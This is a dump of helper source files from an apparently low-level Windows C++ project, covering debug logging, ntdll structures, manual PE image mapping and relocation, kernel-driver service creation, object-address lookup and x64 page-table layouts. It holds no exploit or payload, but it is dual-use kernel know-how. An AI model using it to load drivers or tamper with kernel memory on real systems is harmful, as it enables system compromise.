| 42 | #define INTERLOCKED_PTR_GET(_addr_) InterlockedExchangeAdd64((LONGLONG *)(_addr_), 0) 43 | #define INTERLOCKED_PTR_SET(_addr_, _val_) InterlockedExchangeAdd64((LONGLONG *)(_addr_), (LONGLONG)(_val_)) 44 | 45 | #endif 46 | 47 | 48 | #define PAGE_SHIFT 12 49 | #define PAGE_SIZE 0x1000 50 | 51 | #define IFMT32 "0x%.8x" 52 | #define IFMT64 "0x%.16I64x" 53 | 54 | #define IFMT32_W L"0x%.8x" 55 | #define IFMT64_W L"0x%.16I64x" 56 | 57 | #ifdef _X86_ 58 | 59 | // 32-bit pointers format string 60 | #define IFMT IFMT32 61 | #define IFMT_W IFMT32_W 62 | 63 | #else _AMD64_ 64 | 65 | // 64-bit pointers format string 66 | #define IFMT IFMT64 67 | #define IFMT_W IFMT64_W 68 | 69 | #endif 70 | 71 | 72 | #define GET_IMPORT(_lib_, _name_) \ 73 | \ 74 | func_##_name_ f_##_name_ = (func_##_name_)GetProcAddress( \ 75 | LoadLibrary((_lib_)), #_name_); 76 | 77 | 78 | #define GET_NATIVE(_name_) GET_IMPORT("ntdll.dll", _name_) 79 | 80 | 81 | char *GetNameFromFullPath(char *lpszPath); 82 | 83 | BOOL ReadFromFile(HANDLE hFile, PVOID *pData, PDWORD pdwDataSize); 84 | BOOL ReadFromFile(LPCTSTR lpszFileName, PVOID *pData, PDWORD pdwDataSize); 85 | 86 | BOOL DumpToFile(HANDLE hFile, PVOID Data, DWORD dwDataSize); 87 | BOOL DumpToFile(char *lpszFileName, PVOID Data, DWORD dwDataSize); 88 | 89 | BOOL LoadPrivileges(char *lpszName); 90 | 91 | PVOID GetSystemInformation(SYSTEM_INFORMATION_CLASS InfoClass); 92 | DWORD GetThreadState(DWORD dwProcessId, DWORD dwThreadId); 93 | PVOID GetObjectAddress(HANDLE hObject); 94 | -------------------------------------------------------------------------------- /common/debug.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | //-------------------------------------------------------------------------------------- 3 | #ifdef DBG 4 | 5 | void DbgMsg(char *lpszFile, int Line, char *lpszMsg, ...) 6 | { 7 | va_list arg_list; 8 | va_start(arg_list, lpszMsg); 9 | 10 | int Len = _vscprintf(lpszMsg, arg_list) + MAX_PATH; 11 | 12 | char *lpszBuff = (char *)M_ALLOC(Len); 13 | if (lpszBuff == NULL) 14 | { 15 | va_end(arg_list); 16 | return; 17 | } 18 | 19 | char *lpszOutBuff = (char *)M_ALLOC(Len); 20 | if (lpszOutBuff == NULL) 21 | { 22 | M_FREE(lpszBuff); 23 | va_end(arg_list); 24 | return; 25 | } 26 | 27 | vsprintf(lpszBuff, lpszMsg, arg_list); 28 | va_end(arg_list); 29 | 30 | sprintf(lpszOutBuff, "%s(%d) : %s", GetNameFromFullPath(lpszFile), Line, lpszBuff); 31 | 32 | // write message into the debug output 33 | OutputDebugStringA(lpszOutBuff); 34 | 35 | HANDLE hStd = GetStdHandle(STD_OUTPUT_HANDLE); 36 | if (hStd != INVALID_HANDLE_VALUE) 37 | { 38 | DWORD dwWritten = 0; 39 | 40 | // write message into the console 41 | WriteFile(hStd, lpszOutBuff, lstrlen(lpszOutBuff), &dwWritten, NULL); 42 | } 43 | 44 | M_FREE(lpszBuff); 45 | M_FREE(lpszOutBuff); 46 | } 47 | 48 | #endif // DBG 49 | //-------------------------------------------------------------------------------------- 50 | // EoF 51 | -------------------------------------------------------------------------------- /common/debug.h: -------------------------------------------------------------------------------- 1 | 2 | #ifdef DBG 3 | 4 | void DbgMsg(char *lpszFile, int Line, char *lpszMsg, ...); 5 | 6 | #else 7 | 8 | #define DbgMsg 9 | 10 | #endif 11 | -------------------------------------------------------------------------------- /common/ntdll_defs.h: -------------------------------------------------------------------------------- 1 | 2 | typedef LONG NTSTATUS; 3 | 4 | typedef struct _IO_STATUS_BLOCK 5 | { 6 | union 7 | { 8 | NTSTATUS Status; 9 | PVOID Pointer; 10 | }; 11 | 12 | ULONG_PTR Information; 13 | 14 | } IO_STATUS_BLOCK, 15 | *PIO_STATUS_BLOCK; 16 | 17 | typedef struct _CLIENT_ID 18 | { 19 | HANDLE UniqueProcess; 20 | HANDLE UniqueThread; 21 | 22 | } CLIENT_ID, 23 | *PCLIENT_ID; 24 | 25 | #ifndef _NTSECAPI_ 26 | 27 | typedef struct _UNICODE_STRING 28 | { 29 | USHORT Length; 30 | USHORT MaximumLength; 31 | PWSTR Buffer; 32 | 33 | } UNICODE_STRING, 34 | *PUNICODE_STRING; 35 | 36 | #endif 37 | 38 | typedef struct _STRING 39 | { 40 | USHORT Length; 41 | USHORT MaximumLength; 42 | PCHAR Buffer; 43 | 44 | } ANSI_STRING, 45 | *PANSI_STRING; 46 | 47 | #define OBJ_INHERIT 0x00000002 48 | #define OBJ_PERMANENT 0x00000010 49 | #define OBJ_EXCLUSIVE 0x00000020 50 | #define OBJ_CASE_INSENSITIVE 0x00000040 51 | #define OBJ_OPENIF 0x00000080 52 | #define OBJ_OPENLINK 0x00000100 53 | #define OBJ_VALID_ATTRIBUTES 0x000001F2 54 | #define OBJ_KERNEL_HANDLE 0x00000200 55 | 56 | typedef struct _OBJECT_ATTRIBUTES 57 | { 58 | ULONG Length; 59 | HANDLE RootDirectory; 60 | PUNICODE_STRING ObjectName; 61 | ULONG Attributes; 62 | PVOID SecurityDescriptor; 63 | PVOID SecurityQualityOfService; 64 | 65 | } OBJECT_ATTRIBUTES, 66 | *POBJECT_ATTRIBUTES; 67 | 68 | 69 | #define InitializeObjectAttributes(_ptr_, _name_, _attr_, _root_, _sd_) \ 70 | \ 71 | { \ 72 | (_ptr_)->Length = sizeof(OBJECT_ATTRIBUTES); \ 73 | (_ptr_)->RootDirectory = (_root_); \ 74 | (_ptr_)->Attributes = (_attr_); \ 75 | (_ptr_)->ObjectName = (_name_); \ 76 | (_ptr_)->SecurityDescriptor = (_sd_); \ 77 | (_ptr_)->SecurityQualityOfService = NULL; \ 78 | } 79 | 80 | 81 | #define NT_SUCCESS(Status) ((LONG)(Status) >= 0) 82 | #define NT_ERROR(Status) ((ULONG)(Status) >> 30 == 3) 83 | 84 | #define NtCurrentProcess() ((HANDLE)-1) 85 | #define NtCurrentThread() ((HANDLE)-2) 86 | 87 | #define STATUS_BUFFER_OVERFLOW 0x80000005L 88 | #define STATUS_NO_MORE_FILES 0x80000006L 89 | #define STATUS_INFO_LENGTH_MISMATCH 0xC0000004L 90 | #define STATUS_BUFFER_TOO_SMALL 0xC0000023L 91 | #define STATUS_UNSUCCESSFUL 0xC0000001L 92 | #define STATUS_IMAGE_ALREADY_LOADED 0xC000010EL 93 | -------------------------------------------------------------------------------- /common/ntdll_undocnt.h: -------------------------------------------------------------------------------- 1 | 2 | typedef struct _LDR_DATA_TABLE_ENTRY 3 | { 4 | LIST_ENTRY InLoadOrderModuleList; 5 | LIST_ENTRY InMemoryOrderModuleList; 6 | LIST_ENTRY InInitializationOrderModuleList; 7 | PVOID DllBase; 8 | PVOID EntryPoint; 9 | ULONG SizeOfImage; 10 | UNICODE_STRING FullDllName; 11 | UNICODE_STRING BaseDllName; 12 | ULONG Flags; 13 | USHORT LoadCount; 14 | USHORT TlsIndex; 15 | LIST_ENTRY HashLinks; 16 | PVOID SectionPointer; 17 | ULONG CheckSum; 18 | ULONG TimeDateStamp; 19 | 20 | } LDR_DATA_TABLE_ENTRY, 21 | *PLDR_DATA_TABLE_ENTRY; 22 | 23 | typedef struct _PEB_LDR_DATA 24 | { 25 | ULONG Length; 26 | BOOLEAN Initialized; 27 | PVOID SsHandle; 28 | LIST_ENTRY ModuleListLoadOrder; 29 | LIST_ENTRY ModuleListMemoryOrder; 30 | LIST_ENTRY ModuleListInitOrder; 31 | 32 | } PEB_LDR_DATA, 33 | *PPEB_LDR_DATA; 34 | 35 | /************************************************************/ 36 | /* */ 37 | /* Some structures for native API functions */ 38 | /* */ 39 | /************************************************************/ 40 | 41 | typedef enum _SYSTEM_INFORMATION_CLASS 42 | { 43 | SystemBasicInformation, 44 | SystemProcessorInformation, 45 | SystemPerformanceInformation, 46 | SystemTimeOfDayInformation, 47 | SystemPathInformation, 48 | SystemProcessInformation, 49 | SystemCallCountInformation, 50 | SystemDeviceInformation, 51 | SystemProcessorPerformanceInformation, 52 | SystemFlagsInformation, 53 | SystemCallTimeInformation, 54 | SystemModuleInformation, 55 | SystemLocksInformation, 56 | SystemStackTraceInformation, 57 | SystemPagedPoolInformation, 58 | SystemNonPagedPoolInformation, 59 | SystemHandleInformation, 60 | SystemObjectInformation, 61 | SystemPageFileInformation, 62 | SystemVdmInstemulInformation, 63 | SystemVdmBopInformation, 64 | SystemFileCacheInformation, 65 | SystemPoolTagInformation, 66 | SystemInterruptInformation, 67 | SystemDpcBehaviorInformation, 68 | SystemFullMemoryInformation, 69 | SystemLoadGdiDriverInformation, 70 | SystemUnloadGdiDriverInformation, 71 | SystemTimeAdjustmentInformation, 72 | SystemSummaryMemoryInformation, 73 | SystemMirrorMemoryInformation, 74 | SystemPerformanceTraceInformation, 75 | SystemObsolete0, 76 | SystemExceptionInformation, 77 | SystemCrashDumpStateInformation, 78 | SystemKernelDebuggerInformation, 79 | SystemContextSwitchInformation, 80 | SystemRegistryQuotaInformation, 81 | SystemExtendServiceTableInformation, 82 | SystemPrioritySeperation, 83 | SystemVerifierAddDriverInformation, 84 | SystemVerifierRemoveDriverInformation, 85 | SystemProcessorIdleInformation, 86 | SystemLegacyDriverInformation, 87 | SystemCurrentTimeZoneInformation, 88 | SystemLookasideInformation, 89 | SystemTimeSlipNotification, 90 | SystemSessionCreate, 91 | SystemSessionDetach, 92 | SystemSessionInformation, 93 | SystemRangeStartInformation, 94 | SystemVerifierInformation, 95 | SystemVerifierThunkExtend, 96 | SystemSessionProcessInformation, 97 | SystemLoadGdiDriverInSystemSpace, 98 | SystemNumaProcessorMap, 99 | SystemPrefetcherInformation, 100 | SystemExtendedProcessInformation, 101 | SystemRecommendedSharedDataAlignment, 102 | SystemComPlusPackage, 103 | SystemNumaAvailableMemory, 104 | SystemProcessorPowerInformation, 105 | SystemEmulationBasicInformation, 106 | SystemEmulationProcessorInformation, 107 | SystemExtendedHandleInformation, 108 | SystemLostDelayedWriteInformation, 109 | SystemBigPoolInformation, 110 | SystemSessionPoolTagInformation, 111 | SystemSessionMappedViewInformation, 112 | SystemHotpatchInformation, 113 | SystemObjectSecurityMode, 114 | SystemWatchdogTimerHandler, 115 | SystemWatchdogTimerInformation, 116 | SystemLogicalProcessorInformation, 117 | SystemWow64SharedInformation, 118 | SystemRegisterFirmwareTableInformationHandler, 119 | SystemFirmwareTableInformation, 120 | SystemModuleInformationEx, 121 | SystemVerifierTriageInformation, 122 | SystemSuperfetchInformation, 123 | SystemMemoryListInformation, 124 | SystemFileCacheInformationEx, 125 | MaxSystemInfoClass 126 | 127 | } SYSTEM_INFORMATION_CLASS; 128 | 129 | typedef struct _RTL_PROCESS_MODULE_INFORMATION 130 | { 131 | HANDLE Section; 132 | PVOID MappedBase; 133 | PVOID ImageBase; 134 | ULONG ImageSize; 135 | ULONG Flags; 136 | USHORT LoadOrderIndex; 137 | USHORT InitOrderIndex; 138 | USHORT LoadCount; 139 | USHORT OffsetToFileName; 140 | UCHAR FullPathName[256]; 141 | 142 | } RTL_PROCESS_MODULE_INFORMATION, 143 | *PRTL_PROCESS_MODULE_INFORMATION; 144 | 145 | typedef struct _RTL_PROCESS_MODULES 146 | { 147 | ULONG NumberOfModules; 148 | RTL_PROCESS_MODULE_INFORMATION Modules[1]; 149 | 150 | } RTL_PROCESS_MODULES, 151 | *PRTL_PROCESS_MODULES; 152 | 153 | typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO 154 | { 155 | USHORT UniqueProcessId; 156 | USHORT CreatorBackTraceIndex; 157 | UCHAR ObjectTypeIndex; 158 | UCHAR HandleAttributes; 159 | USHORT HandleValue; 160 | PVOID Object; 161 | ULONG GrantedAccess; 162 | 163 | } SYSTEM_HANDLE_TABLE_ENTRY_INFO, 164 | *PSYSTEM_HANDLE_TABLE_ENTRY_INFO; 165 | 166 | typedef struct _SYSTEM_HANDLE_INFORMATION 167 | { 168 | ULONG NumberOfHandles; 169 | SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; 170 | 171 | } SYSTEM_HANDLE_INFORMATION, 172 | *PSYSTEM_HANDLE_INFORMATION; 173 | 174 | typedef enum _KTHREAD_STATE 175 | { 176 | Initialized, 177 | Ready, 178 | Running, 179 | Standby, 180 | Terminated, 181 | Waiting, 182 | Transition, 183 | DeferredReady, 184 | GateWaitObsolete, 185 | WaitingForProcessInSwap, 186 | MaximumThreadState 187 | 188 | } KTHREAD_STATE, 189 | *PKTHREAD_STATE; 190 | 191 | typedef enum _KWAIT_REASON 192 | { 193 | Executive, 194 | FreePage, 195 | PageIn, 196 | PoolAllocation, 197 | DelayExecution, 198 | Suspended, 199 | UserRequest, 200 | WrExecutive, 201 | WrFreePage, 202 | WrPageIn, 203 | WrPoolAllocation, 204 | WrDelayExecution, 205 | WrSuspended, 206 | WrUserRequest, 207 | WrEventPair, 208 | WrQueue, 209 | WrLpcReceive, 210 | WrLpcReply, 211 | WrVirtualMemory, 212 | WrPageOut, 213 | WrRendezvous, 214 | WrKeyedEvent, 215 | WrTerminated, 216 | WrProcessInSwap, 217 | WrCpuRateControl, 218 | WrCalloutStack, 219 | WrKernel, 220 | WrResource, 221 | WrPushLock, 222 | WrMutex, 223 | WrQuantumEnd, 224 | WrDispatchInt, 225 | WrPreempted, 226 | WrYieldExecution, 227 | WrFastMutex, 228 | WrGuardedMutex, 229 | WrRundown, 230 | WrAlertByThreadId, 231 | WrDeferredPreempt, 232 | WrPhysicalFault, 233 | MaximumWaitReason 234 | 235 | } KWAIT_REASON, 236 | *PKWAIT_REASON; 237 | 238 | typedef struct _SYSTEM_THREAD_INFORMATION 239 | { 240 | LARGE_INTEGER KernelTime; 241 | LARGE_INTEGER UserTime; 242 | LARGE_INTEGER CreateTime; 243 | ULONG WaitTime; 244 | PVOID StartAddress; 245 | CLIENT_ID ClientId; 246 | ULONG Priority; 247 | LONG BasePriority; 248 | ULONG ContextSwitches; 249 | KTHREAD_STATE ThreadState; 250 | KWAIT_REASON WaitReason; 251 | 252 | } SYSTEM_THREAD_INFORMATION, 253 | *PSYSTEM_THREAD_INFORMATION; 254 | 255 | typedef struct _SYSTEM_PROCESS_INFORMATION 256 | { 257 | ULONG NextEntryOffset; 258 | ULONG NumberOfThreads; 259 | LARGE_INTEGER WorkingSetPrivateSize; 260 | ULONG HardFaultCount; 261 | ULONG NumberOfThreadsHighWatermark; 262 | ULONGLONG CycleTime; 263 | LARGE_INTEGER CreateTime; 264 | LARGE_INTEGER UserTime; 265 | LARGE_INTEGER KernelTime; 266 | UNICODE_STRING ImageName; 267 | ULONG BasePriority; 268 | HANDLE UniqueProcessId; 269 | HANDLE InheritedFromUniqueProcessId; 270 | ULONG HandleCount; 271 | ULONG SessionId; 272 | ULONG_PTR UniqueProcessKey; 273 | SIZE_T PeakVirtualSize; 274 | SIZE_T VirtualSize; 275 | ULONG PageFaultCount; 276 | SIZE_T PeakWorkingSetSize; 277 | SIZE_T WorkingSetSize; 278 | SIZE_T QuotaPeakPagedPoolUsage; 279 | SIZE_T QuotaPagedPoolUsage; 280 | SIZE_T QuotaPeakNonPagedPoolUsage; 281 | SIZE_T QuotaNonPagedPoolUsage; 282 | SIZE_T PagefileUsage; 283 | SIZE_T PeakPagefileUsage; 284 | SIZE_T PrivatePageCount; 285 | LARGE_INTEGER ReadOperationCount; 286 | LARGE_INTEGER WriteOperationCount; 287 | LARGE_INTEGER OtherOperationCount; 288 | LARGE_INTEGER ReadTransferCount; 289 | LARGE_INTEGER WriteTransferCount; 290 | LARGE_INTEGER OtherTransferCount; 291 | SYSTEM_THREAD_INFORMATION Threads[1]; 292 | 293 | } SYSTEM_PROCESS_INFORMATION, 294 | *PSYSTEM_PROCESS_INFORMATION; 295 | 296 | 297 | /************************************************************/ 298 | /* */ 299 | /* Prototypes for native and kernel API functions */ 300 | /* */ 301 | /************************************************************/ 302 | 303 | typedef NTSTATUS (WINAPI * func_NtQuerySystemInformation)( 304 | SYSTEM_INFORMATION_CLASS SystemInformationClass, 305 | PVOID SystemInformation, 306 | ULONG SystemInformationLength, 307 | PULONG ReturnLength 308 | ); 309 | 310 | typedef NTSTATUS (WINAPI * func_RtlGetVersion)(PRTL_OSVERSIONINFOW lpVersionInformation); 311 | 312 | typedef enum _POOL_TYPE 313 | { 314 | NonPagedPool, 315 | PagedPool 316 | 317 | } POOL_TYPE; 318 | -------------------------------------------------------------------------------- /common/peimage.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | //-------------------------------------------------------------------------------------- 3 | DWORD LdrGetProcAddress(PVOID Image, char *lpszName) 4 | { 5 | PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS)RVATOVA( 6 | Image, ((PIMAGE_DOS_HEADER)Image)->e_lfanew); 7 | 8 | DWORD Addr = 0; 9 | DWORD ExportAddr = pHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; 10 | DWORD ExportSize = pHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size; 11 | 12 | if (ExportAddr != 0) 13 | { 14 | PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)RVATOVA(Image, ExportAddr); 15 | 16 | if (pExport->AddressOfFunctions == 0 || 17 | pExport->AddressOfNameOrdinals == 0 || 18 | pExport->AddressOfNames == 0) 19 | { 20 | // no exports by name 21 | return 0; 22 | } 23 | 24 | // parse module exports 25 | PDWORD AddrOfFunctions = (PDWORD)RVATOVA(Image, pExport->AddressOfFunctions); 26 | PWORD AddrOfOrdinals = (PWORD)RVATOVA(Image, pExport->AddressOfNameOrdinals); 27 | PDWORD AddrOfNames = (PDWORD)RVATOVA(Image, pExport->AddressOfNames); 28 | 29 | for (DWORD i = 0; i < pExport->NumberOfNames; i += 1) 30 | { 31 | char *lpszExport = (char *)RVATOVA(Image, AddrOfNames[i]); 32 | 33 | // calculate and compare hash of function 34 | if (!strcmp(lpszExport, lpszName)) 35 | { 36 | // get exported function RVA 37 | Addr = AddrOfFunctions[AddrOfOrdinals[i]]; 38 | break; 39 | } 40 | } 41 | } 42 | else 43 | { 44 | // no export table present 45 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Export table is not found\n"); 46 | return 0; 47 | } 48 | 49 | if (Addr != 0) 50 | { 51 | // check for the forwarded export 52 | if (Addr > ExportAddr && 53 | Addr < ExportAddr + ExportSize) 54 | { 55 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Forwarded export\n"); 56 | return 0; 57 | } 58 | 59 | return Addr; 60 | } 61 | 62 | return 0; 63 | } 64 | //-------------------------------------------------------------------------------------- 65 | BOOL LdrProcessRelocs(PVOID Image, PVOID NewBase) 66 | { 67 | PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS)RVATOVA( 68 | Image, ((PIMAGE_DOS_HEADER)Image)->e_lfanew); 69 | 70 | DWORD_PTR OldBase = pHeaders->OptionalHeader.ImageBase; 71 | DWORD RelocAddr = pHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress; 72 | DWORD RelocSize = pHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; 73 | 74 | if (RelocAddr == 0) 75 | { 76 | // no image relocations are present but it's ok 77 | return TRUE; 78 | } 79 | 80 | DWORD Size = 0; 81 | PIMAGE_BASE_RELOCATION pRelocation = (PIMAGE_BASE_RELOCATION)RVATOVA(Image, RelocAddr); 82 | 83 | while (RelocSize > Size && pRelocation->SizeOfBlock) 84 | { 85 | DWORD Num = (pRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); 86 | PWORD Rel = (PWORD)RVATOVA(pRelocation, sizeof(IMAGE_BASE_RELOCATION)); 87 | 88 | for (DWORD i = 0; i < Num; i += 1) 89 | { 90 | if (Rel[i] > 0) 91 | { 92 | WORD Type = (Rel[i] & 0xF000) >> 12; 93 | 94 | // check for supporting type 95 | if (Type != IMAGE_REL_BASED_DIR64 && 96 | Type != IMAGE_REL_BASED_ABSOLUTE) 97 | { 98 | DbgMsg(__FILE__, __LINE__, __FUNCTION__ "() ERROR: Unknown relocation type %d\n", Type); 99 | return FALSE; 100 | } 101 | 102 | if (Type == IMAGE_REL_BASED_DIR64) 103 | { 104 | // fix relocation value 105 | *(PDWORD64)(RVATOVA( 106 | Image, 107 | pRelocation->VirtualAddress + (Rel[i] & 0x0FFF))) += (DWORD64)NewBase - OldBase; 108 | } 109 | } 110 | } 111 | 112 | // go to the next block 113 | pRelocation = (PIMAGE_BASE_RELOCATION)RVATOVA(pRelocation, pRelocation->SizeOfBlock); 114 | Size += pRelocation->SizeOfBlock; 115 | } 116 | 117 | return TRUE; 118 | } 119 | //-------------------------------------------------------------------------------------- 120 | BOOL LdrMapImage(PVOID Data, DWORD dwDataSize, PVOID *pImage, PDWORD pdwImageSize) 121 | { 122 | PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS)RVATOVA( 123 | Data, ((PIMAGE_DOS_HEADER)Data)->e_lfanew); 124 | 125 | PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)RVATOVA( 126 | &pHeaders->OptionalHeader, pHeaders->FileHeader.SizeOfOptionalHeader); 127 | 128 | DWORD dwImageSize = pHeaders->OptionalHeader.SizeOfImage; 129 | 130 | // allocate image memory 131 | PVOID Image = M_ALLOC(dwImageSize); 132 | if (Image) 133 | { 134 | // copy image headers 135 | ZeroMemory(Image, dwImageSize); 136 | CopyMemory(Image, Data, pHeaders->OptionalHeader.SizeOfHeaders); 137 | 138 | // copy image sections 139 | for (DWORD i = 0; i < pHeaders->FileHeader.NumberOfSections; i += 1) 140 | { 141 | memcpy( 142 | RVATOVA(Image, pSection->VirtualAddress), 143 | RVATOVA(Data, pSection->PointerToRawData), 144 | min(pSection->SizeOfRawData, pSection->Misc.VirtualSize) 145 | ); 146 | 147 | pSection += 1; 148 | } 149 | 150 | *pImage = Image; 151 | *pdwImageSize = dwImageSize; 152 | 153 | return TRUE; 154 | } 155 | else 156 | { 157 | DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\n\n", GetLastError()); 158 | } 159 | 160 | return FALSE; 161 | } 162 | //-------------------------------------------------------------------------------------- 163 | // EoF 164 | -------------------------------------------------------------------------------- /common/peimage.h: -------------------------------------------------------------------------------- 1 | 2 | DWORD LdrGetProcAddress(PVOID Image, char *lpszName); 3 | BOOL LdrProcessRelocs(PVOID Image, PVOID NewBase); 4 | BOOL LdrMapImage(PVOID Data, DWORD dwDataSize, PVOID *Image, PDWORD pdwImageSize); 5 | -------------------------------------------------------------------------------- /common/service.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | //-------------------------------------------------------------------------------------- 3 | BOOL ServiceStart(char *lpszName, char *lpszPath, BOOL bCreate) 4 | { 5 | BOOL bRet = FALSE; 6 | 7 | SC_HANDLE hManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); 8 | if (hManager) 9 | { 10 | SC_HANDLE hService = NULL; 11 | 12 | if (bCreate) 13 | { 14 | // create service for kernel-mode driver 15 | hService = CreateService( 16 | hManager, lpszName, lpszName, SERVICE_START | DELETE | SERVICE_STOP, 17 | SERVICE_KERNEL_DRIVER, SERVICE_SYSTEM_START, SERVICE_ERROR_IGNORE, 18 | lpszPath, NULL, NULL, NULL, NULL, NULL 19 | ); 20 | if (hService == NULL) 21 | { 22 | if (GetLastError() == ERROR_SERVICE_EXISTS) 23 | { 24 | // open existing service 25 | if ((hService = OpenService(hManager, lpszName, SERVICE_START | DELETE | SERVICE_STOP)) == NULL) 26 | { 27 | DbgMsg(__FILE__, __LINE__, "OpenService() ERROR %d\n", GetLastError()); 28 | } 29 | } 30 | else 31 | { 32 | DbgMsg(__FILE__, __LINE__, "CreateService() ERROR %d\n", GetLastError()); 33 | } 34 | } 35 | } 36 | else 37 | { 38 | // open existing service 39 | hService = OpenService(hManager, lpszName, SERVICE_START | DELETE | SERVICE_STOP); 40 | } 41 | 42 | if (hService) 43 | { 44 | // start service 45 | if (StartService(hService, 0, NULL)) 46 | { 47 | bRet = TRUE; 48 | } 49 | else 50 | { 51 | if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) 52 | { 53 | // service is already started 54 | bRet = TRUE; 55 | } 56 | else 57 | { 58 | DbgMsg(__FILE__, __LINE__, "StartService() ERROR %d\n", GetLastError()); 59 | } 60 | } 61 | 62 | CloseServiceHandle(hService); 63 | } 64 | 65 | CloseServiceHandle(hManager); 66 | } 67 | else 68 | { 69 | DbgMsg(__FILE__, __LINE__, "OpenSCManager() ERROR %d\n", GetLastError()); 70 | } 71 | 72 | return bRet; 73 | } 74 | //-------------------------------------------------------------------------------------- 75 | BOOL ServiceStop(char *lpszName) 76 | { 77 | BOOL bRet = FALSE; 78 | 79 | SC_HANDLE hManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); 80 | if (hManager) 81 | { 82 | // open existing service 83 | SC_HANDLE hService = OpenService(hManager, lpszName, SERVICE_ALL_ACCESS); 84 | if (hService) 85 | { 86 | SERVICE_STATUS Status; 87 | 88 | // stop service 89 | if (ControlService(hService, SERVICE_CONTROL_STOP, &Status)) 90 | { 91 | bRet = TRUE; 92 | } 93 | else 94 | { 95 | DbgMsg(__FILE__, __LINE__, "ControlService() ERROR %d\n", GetLastError()); 96 | } 97 | 98 | CloseServiceHandle(hService); 99 | } 100 | else 101 | { 102 | DbgMsg(__FILE__, __LINE__, "OpenService() ERROR %d\n", GetLastError()); 103 | } 104 | 105 | CloseServiceHandle(hManager); 106 | } 107 | else 108 | { 109 | DbgMsg(__FILE__, __LINE__, "OpenSCManager() ERROR %d\n", GetLastError()); 110 | } 111 | 112 | return bRet; 113 | } 114 | //-------------------------------------------------------------------------------------- 115 | BOOL ServiceRemove(char *lpszName) 116 | { 117 | BOOL bRet = FALSE; 118 | 119 | SC_HANDLE hManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); 120 | if (hManager) 121 | { 122 | // open existing service 123 | SC_HANDLE hService = OpenService(hManager, lpszName, SERVICE_ALL_ACCESS); 124 | if (hService) 125 | { 126 | // delete service 127 | if (DeleteService(hService)) 128 | { 129 | bRet = TRUE; 130 | } 131 | else 132 | { 133 | DbgMsg(__FILE__, __LINE__, "DeleteService() ERROR %d\n", GetLastError()); 134 | } 135 | 136 | CloseServiceHandle(hService); 137 | } 138 | else 139 | { 140 | DbgMsg(__FILE__, __LINE__, "OpenService() ERROR %d\n", GetLastError()); 141 | } 142 | 143 | CloseServiceHandle(hManager); 144 | } 145 | else 146 | { 147 | DbgMsg(__FILE__, __LINE__, "OpenSCManager() ERROR %d\n", GetLastError()); 148 | } 149 | 150 | return bRet; 151 | } 152 | //-------------------------------------------------------------------------------------- 153 | // EoF 154 | -------------------------------------------------------------------------------- /common/service.h: -------------------------------------------------------------------------------- 1 | 2 | BOOL ServiceStart(char *lpszName, char *lpszPath, BOOL bCreate); 3 | BOOL ServiceStop(char *lpszName); 4 | BOOL ServiceRemove(char *lpszName); 5 | -------------------------------------------------------------------------------- /common/virtmem.h: -------------------------------------------------------------------------------- 1 | 2 | #pragma pack(1) 3 | 4 | // 5 | // Page Map Level 4 Offset (PML4) and 6 | // Page Directory Pointer Table (PDPE) entries 4K & 2M 7 | // 8 | typedef union 9 | { 10 | struct 11 | { 12 | DWORD64 Present : 1; // 0 = Not present in memory, 1 = Present in memory 13 | DWORD64 ReadWrite : 1; // 0 = Read-Only, 1= Read/Write 14 | DWORD64 UserSupervisor : 1; // 0 = Supervisor, 1=User 15 | DWORD64 WriteThrough : 1; // 0 = Write-Back caching, 1=Write-Through caching 16 | DWORD64 CacheDisabled : 1; // 0 = Cached, 1=Non-Cached 17 | DWORD64 Accessed : 1; // 0 = Not accessed, 1 = Accessed (set by CPU) 18 | DWORD64 Reserved : 1; // Reserved 19 | DWORD64 MustBeZero : 2; // Must Be Zero 20 | DWORD64 Available : 3; // Available for use by system software 21 | DWORD64 PageTableBaseAddress : 40; // Page Table Base Address 22 | DWORD64 AvabilableHigh : 11; // Available for use by system software 23 | DWORD64 Nx : 1; // No Execute bit 24 | 25 | } Bits; 26 | 27 | DWORD64 Uint64; 28 | 29 | } X64_PAGE_MAP_AND_DIRECTORY_POINTER_2MB_4K; 30 | 31 | // 32 | // Page Directory Entry 4K 33 | // 34 | typedef union 35 | { 36 | struct 37 | { 38 | DWORD64 Present : 1; // 0 = Not present in memory, 1 = Present in memory 39 | DWORD64 ReadWrite : 1; // 0 = Read-Only, 1= Read/Write 40 | DWORD64 UserSupervisor : 1; // 0 = Supervisor, 1=User 41 | DWORD64 WriteThrough : 1; // 0 = Write-Back caching, 1=Write-Through caching 42 | DWORD64 CacheDisabled : 1; // 0 = Cached, 1=Non-Cached 43 | DWORD64 Accessed : 1; // 0 = Not accessed, 1 = Accessed (set by CPU) 44 | DWORD64 MustBeZero : 3; // Must Be Zero 45 | DWORD64 Available : 3; // Available for use by system software 46 | DWORD64 PageTableBaseAddress : 40; // Page Table Base Address 47 | DWORD64 AvabilableHigh : 11; // Available for use by system software 48 | DWORD64 Nx : 1; // No Execute bit 49 | 50 | } Bits; 51 | 52 | DWORD64 Uint64; 53 | 54 | } 